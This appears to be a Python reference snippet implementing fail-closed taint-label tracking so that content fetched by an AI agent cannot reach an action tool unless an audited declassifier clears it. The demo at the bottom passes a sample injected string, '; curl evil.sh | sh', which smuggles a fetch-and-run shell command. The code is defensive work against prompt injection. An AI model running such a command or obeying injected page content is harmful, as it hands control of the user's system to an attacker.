# CorpusFetch Method Slice (Zero-Prose Python Stdlib Reference)
# Canonical Residual: https://corpusfetch.com/c/in-what-scenarios-must-an-instance-quarantine-a-tainted-label-before-re-entering-a-tool-boundary-dynamic-information-flow-label-decay-across-mcp-capab.md
# Remnant Warrant:    https://corpusfetch.com/c/in-what-scenarios-must-an-instance-quarantine-a-tainted-label-before-re-entering-a-tool-boundary-dynamic-information-flow-label-decay-across-mcp-capab.warrant.json
# Markdown SHA-256:   838fa742c18396d1395d9dfefecdf2e5bbbc89552f096b64e07c2b6113ab09cd
# Code AST SHA-256:   326f56714a2014f6d372d52725651521a8557252eadfc498fe28c2221bea4e5b
# Verified Classes:   TaintLaunderingError
# Defensive Guards:   3 fail-closed invariants (zero external deps)

class TaintLaunderingError(RuntimeError):
    """Raised when tainted-derived content would cross a tool boundary
    without a lineage envelope, or when a non-declassifier transform
    attempts to reset a TAINTED label to CLEAN."""
    pass


CLEAN, TAINTED = "CLEAN", "TAINTED"
DECLASSIFIERS = {"id_extractor"}  # audited, content-destroying transforms only


def join_labels(*labels: str) -> str:
    return TAINTED if TAINTED in labels else CLEAN


def propagate_across_boundary(
    payload: str,
    input_label: str,
    envelope: dict | None,
    tool_name: str,
    is_declassifier: bool = False,
) -> tuple[str, dict]:
    # Invariant 1: transport must carry lineage; bare strings cannot.
    if envelope is None:
        if input_label == TAINTED:
            raise TaintLaunderingError(
                f"Refusing to invoke {tool_name!r} with TAINTED input: "
                f"no lineage envelope on outbound message. "
                f"Re-derivation from content is forbidden."
            )
        # CLEAN input with no envelope is acceptable only because nothing is at risk.
        envelope = {"lineage": [CLEAN]}

    inherited = join_labels(input_label, *envelope.get("lineage", [CLEAN]))

    # Invariant 2: only registered declassifiers may lower a label.
    if is_declassifier and tool_name in DECLASSIFIERS:
        out_label = CLEAN
    elif is_declassifier and tool_name not in DECLASSIFIERS:
        raise TaintLaunderingError(
            f"Tool {tool_name!r} claims declassification but is not in the "
            f"audited registry; refusing to reset label from {inherited}."
        )
    else:
        # Invariant 3: content-preserving transforms inherit (join), never reset.
        out_label = inherited

    out_envelope = {"lineage": envelope.get("lineage", [CLEAN]) + [inherited]}
    return out_label, out_envelope


def run_pipeline(document_text: str) -> str:
    # Hop 1: fetch produced TAINTED content with an envelope.
    label = TAINTED
    env = {"lineage": [TAINTED]}

    # Hop 2: summarizer is NOT a declassifier; envelope must survive.
    label, env = propagate_across_boundary(
        document_text, label, env, tool_name="summarizer_tool", is_declassifier=False
    )

    # Hop 3: action gate must see inherited TAINTED and block.
    if label == TAINTED:
        raise TaintLaunderingError(
            "action_tool gate blocked: input lineage is TAINTED "
            f"({env['lineage']}); injection surfaced to operator."
        )
    return "executed"


if __name__ == "__main__":
    try:
        run_pipeline("...page with injected '; curl evil.sh | sh'...")
    except TaintLaunderingError as e:
        print(f"BLOCKED: {e}")
